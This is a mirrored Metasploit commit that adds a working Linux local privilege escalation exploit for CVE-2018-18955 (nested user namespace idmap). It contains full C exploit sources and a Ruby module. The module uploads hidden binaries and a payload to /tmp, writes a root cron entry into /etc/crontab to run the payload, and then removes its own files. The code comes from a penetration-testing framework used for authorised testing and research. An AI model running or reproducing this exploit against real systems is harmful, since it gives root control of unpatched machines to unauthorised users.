1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-09 04:26:11 +02:00

Add Linux Nested User Namespace idmap Limit Local Privilege Escalation module

This commit is contained in:
Brendan Coles 2018-11-20 14:10:28 +00:00
parent 630de06f9e
commit eb17c45000
3 changed files with 544 additions and 0 deletions

View File

@ -0,0 +1,52 @@
// subshell.c
// author: Jann Horn
// source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
#define _GNU_SOURCE
#include <unistd.h>
#include <grp.h>
#include <err.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sched.h>
#include <sys/wait.h>
int main() {
int sync_pipe[2];
char dummy;
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) err(1, "pipe");
pid_t child = fork();
if (child == -1) err(1, "fork");
if (child == 0) {
close(sync_pipe[1]);
if (unshare(CLONE_NEWUSER)) err(1, "unshare userns");
if (write(sync_pipe[0], "X", 1) != 1) err(1, "write to sock");
if (read(sync_pipe[0], &dummy, 1) != 1) err(1, "read from sock");
execl("/bin/bash", "bash", NULL);
err(1, "exec");
}
close(sync_pipe[0]);
if (read(sync_pipe[1], &dummy, 1) != 1) err(1, "read from sock");
char pbuf[100];
sprintf(pbuf, "/proc/%d", (int)child);
if (chdir(pbuf)) err(1, "chdir");
const char *id_mapping = "0 0 1\n1 1 1\n2 2 1\n3 3 1\n4 4 1\n5 5 995\n";
int uid_map = open("uid_map", O_WRONLY);
if (uid_map == -1) err(1, "open uid map");
if (write(uid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) err(1, "write uid map");
close(uid_map);
int gid_map = open("gid_map", O_WRONLY);
if (gid_map == -1) err(1, "open gid map");
if (write(gid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) err(1, "write gid map");
close(gid_map);
if (write(sync_pipe[1], "X", 1) != 1) err(1, "write to sock");
int status;
if (wait(&status) != child) err(1, "wait");
return 0;
}

View File

@ -0,0 +1,271 @@
// subuid_shell.c - Linux local root exploit for CVE-2018-18955
// Exploits broken uid/gid mapping in nested user namespaces.
// ---
// Mostly stolen from Jann Horn's exploit:
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
// Some code stolen from Xairy's exploits:
// - https://github.com/xairy/kernel-exploits
// ---
// <bcoles@gmail.com>
// - added auto subordinate id mapping
// https://github.com/bcoles/kernel-exploits/tree/cve-2018-18955
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <grp.h>
#include <pwd.h>
#include <sched.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <stdarg.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/prctl.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
char* SUBSHELL = "./subshell";
// * * * * * * * * * * * * * * * * * File I/O * * * * * * * * * * * * * * * * *
#define CHUNK_SIZE 1024
int read_file(const char* file, char* buffer, int max_length) {
int f = open(file, O_RDONLY);
if (f == -1)
return -1;
int bytes_read = 0;
while (1) {
int bytes_to_read = CHUNK_SIZE;
if (bytes_to_read > max_length - bytes_read)
bytes_to_read = max_length - bytes_read;
int rv = read(f, &buffer[bytes_read], bytes_to_read);
if (rv == -1)
return -1;
bytes_read += rv;
if (rv == 0)
return bytes_read;
}
}
static int write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return -1;
if (write(fd, buf, len) != len) {
close(fd);
return -1;
}
close(fd);
return 0;
}
// * * * * * * * * * * * * * * * * * Map * * * * * * * * * * * * * * * * *
int get_subuid(char* output, int max_length) {
char buffer[1024];
char* path = "/etc/subuid";
int length = read_file(path, &buffer[0], sizeof(buffer));
if (length == -1)
return -1;
int real_uid = getuid();
struct passwd *u = getpwuid(real_uid);
char needle[1024];
sprintf(needle, "%s:", u->pw_name);
int needle_length = strlen(needle);
char* found = memmem(&buffer[0], length, needle, needle_length);
if (found == NULL)
return -1;
int i;
for (i = 0; found[needle_length + i] != ':'; i++) {
if (i >= max_length)
return -1;
if ((found - &buffer[0]) + needle_length + i >= length)
return -1;
output[i] = found[needle_length + i];
}
return 0;
}
int get_subgid(char* output, int max_length) {
char buffer[1024];
char* path = "/etc/subgid";
int length = read_file(path, &buffer[0], sizeof(buffer));
if (length == -1)
return -1;
int real_gid = getgid();
struct group *g = getgrgid(real_gid);
char needle[1024];
sprintf(needle, "%s:", g->gr_name);
int needle_length = strlen(needle);
char* found = memmem(&buffer[0], length, needle, needle_length);
if (found == NULL)
return -1;
int i;
for (i = 0; found[needle_length + i] != ':'; i++) {
if (i >= max_length)
return -1;
if ((found - &buffer[0]) + needle_length + i >= length)
return -1;
output[i] = found[needle_length + i];
}
return 0;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
int main(int argc, char** argv) {
if (argc > 1) SUBSHELL = argv[1];
dprintf("[.] starting\n");
dprintf("[.] setting up namespace\n");
int sync_pipe[2];
char dummy;
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) {
dprintf("[-] pipe\n");
exit(EXIT_FAILURE);
}
pid_t child = fork();
if (child == -1) {
dprintf("[-] fork");
exit(EXIT_FAILURE);
}
if (child == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
close(sync_pipe[1]);
if (unshare(CLONE_NEWUSER) != 0) {
dprintf("[-] unshare(CLONE_NEWUSER)\n");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
dprintf("[-] unshare(CLONE_NEWNET)\n");
exit(EXIT_FAILURE);
}
if (write(sync_pipe[0], "X", 1) != 1) {
dprintf("write to sock\n");
exit(EXIT_FAILURE);
}
if (read(sync_pipe[0], &dummy, 1) != 1) {
dprintf("[-] read from sock\n");
exit(EXIT_FAILURE);
}
if (setgid(0)) {
dprintf("[-] setgid");
exit(EXIT_FAILURE);
}
if (setuid(0)) {
printf("[-] setuid");
exit(EXIT_FAILURE);
}
execl(SUBSHELL, "", NULL);
dprintf("[-] executing subshell failed\n");
}
close(sync_pipe[0]);
if (read(sync_pipe[1], &dummy, 1) != 1) {
dprintf("[-] read from sock\n");
exit(EXIT_FAILURE);
}
char path[256];
sprintf(path, "/proc/%d/setgroups", (int)child);
if (write_file(path, "deny") == -1) {
dprintf("[-] denying setgroups failed\n");
exit(EXIT_FAILURE);
}
dprintf("[~] done, namespace sandbox set up\n");
dprintf("[.] mapping subordinate ids\n");
char subuid[64];
char subgid[64];
if (get_subuid(&subuid[0], sizeof(subuid))) {
dprintf("[-] couldn't find subuid map in /etc/subuid\n");
exit(EXIT_FAILURE);
}
if (get_subgid(&subgid[0], sizeof(subgid))) {
dprintf("[-] couldn't find subgid map in /etc/subgid\n");
exit(EXIT_FAILURE);
}
dprintf("[.] subuid: %s\n", subuid);
dprintf("[.] subgid: %s\n", subgid);
char cmd[256];
sprintf(cmd, "newuidmap %d 0 %s 1000", (int)child, subuid);
if (system(cmd)) {
dprintf("[-] newuidmap failed");
exit(EXIT_FAILURE);
}
sprintf(cmd, "newgidmap %d 0 %s 1000", (int)child, subgid);
if (system(cmd)) {
dprintf("[-] newgidmap failed");
exit(EXIT_FAILURE);
}
dprintf("[~] done, mapped subordinate ids\n");
dprintf("[.] executing subshell\n");
if (write(sync_pipe[1], "X", 1) != 1) {
dprintf("[-] write to sock");
exit(EXIT_FAILURE);
}
int status;
if (wait(&status) != child) {
dprintf("[-] wait");
exit(EXIT_FAILURE);
}
return 0;
}

View File

@ -0,0 +1,221 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Nested User Namespace idmap Limit Local Privilege Escalation',
'Description' => %q{
Linux kernels 4.15.x to 4.18.x prior to 4.18.19 and 4.19.x before 4.19.2
contains a vulnerability where broken uid/gid mappings between nested
user namespaces and kernel uid/gid mappings allow elevation to root.
The target system must have unprivileged user namespaces enabled and
the newuidmap and newgidmap helpers installed (from uidmap package).
This module has been tested successfully on:
Linux Mint 19 kernel 4.15.0-20-generic (x86_64);
Ubuntu Linux 18.04 kernel 4.15.0-20-generic (x86_64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jann Horn', # Discovery and exploit
'bcoles' # Metasploit
],
'DisclosureDate' => 'Nov 15 2018',
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['Auto', {}]],
'Privileged' => true,
'References' =>
[
['BID', '105941'],
['CVE', '2018-18955'],
['EDB', '45886'],
['PACKETSTORM', '150381'],
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1712'],
['URL', 'https://bugs.launchpad.net/bugs/1801924'],
['URL', 'https://people.canonical.com/~ubuntu-security/cve/CVE-2018-18955'],
['URL', 'https://security-tracker.debian.org/tracker/CVE-2018-18955'],
['URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d2f007dbe7e4c9583eea6eb04d60001e85c6f1bd'],
['URL', 'https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.18.19'],
['URL', 'https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.19.2']
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'WfsDelay' => 60,
'PrependSetresuid' => true,
'PrependSetreuid' => true,
'PrependSetuid' => true,
'PrependFork' => true
},
'Notes' =>
{
'AKA' => ['subuid_shell.c']
}
))
register_options [
OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', %w[Auto True False]])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
end
def upload_and_chmodx(path, data)
upload path, data
cmd_exec "chmod +x '#{path}'"
end
def upload_and_compile(path, data)
upload "#{path}.c", data
gcc_cmd = "gcc -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
output = cmd_exec gcc_cmd
rm_f "#{path}.c"
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
end
cmd_exec "chmod +x #{path}"
end
def exploit_data(file)
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2018-18955', file
fd = ::File.open path, 'rb'
data = fd.read fd.stat.size
fd.close
data
end
def live_compile?
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
if has_gcc?
vprint_good 'gcc is installed'
return true
end
unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
end
end
def check
unless userns_enabled?
vprint_error 'Unprivileged user namespaces are not permitted'
return CheckCode::Safe
end
vprint_good 'Unprivileged user namespaces are permitted'
['/usr/bin/newuidmap', '/usr/bin/newgidmap'].each do |path|
unless setuid? path
vprint_error "#{path} is not set-uid"
return CheckCode::Safe
end
vprint_good "#{path} is set-uid"
end
release = kernel_release
if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.19.2') ||
Gem::Version.new(release.split('-').first) < Gem::Version.new('4.15')
vprint_error "Kernel version #{release} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Kernel version #{release} appears to be vulnerable"
CheckCode::Appears
end
def exploit
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# Upload executables
subuid_shell_name = ".#{rand_text_alphanumeric 5..10}"
subuid_shell_path = "#{base_dir}/#{subuid_shell_name}"
subshell_name = ".#{rand_text_alphanumeric 5..10}"
subshell_path = "#{base_dir}/#{subshell_name}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile subuid_shell_path, exploit_data('subuid_shell.c')
upload_and_compile subshell_path, exploit_data('subshell.c')
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx subuid_shell_path, exploit_data('subuid_shell.out')
upload_and_chmodx subshell_path, exploit_data('subshell.out')
end
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
upload_and_chmodx payload_path, generate_payload_exe
# Launch exploit
print_status 'Adding cron job...'
output = cmd_exec "echo \"echo '* * * * * root #{payload_path}' >> /etc/crontab\" | #{subuid_shell_path} #{subshell_path} & "
output.each_line { |line| vprint_status line.chomp }
crontab = read_file '/etc/crontab'
unless crontab.include? payload_path
fail_with Failure::Unknown, 'Failed'
end
print_good 'Success. Waiting for job to run (may take a minute)...'
6.times do
break if session_created?
Rex.sleep 10
end
print_status "Cleaning up #{payload_path}, #{subuid_shell_path}, #{subshell_path} ..."
rm_f subuid_shell_path
rm_f subshell_path
rm_f payload_path
print_warning 'Manual cleanup for /etc/crontab required!'
end
end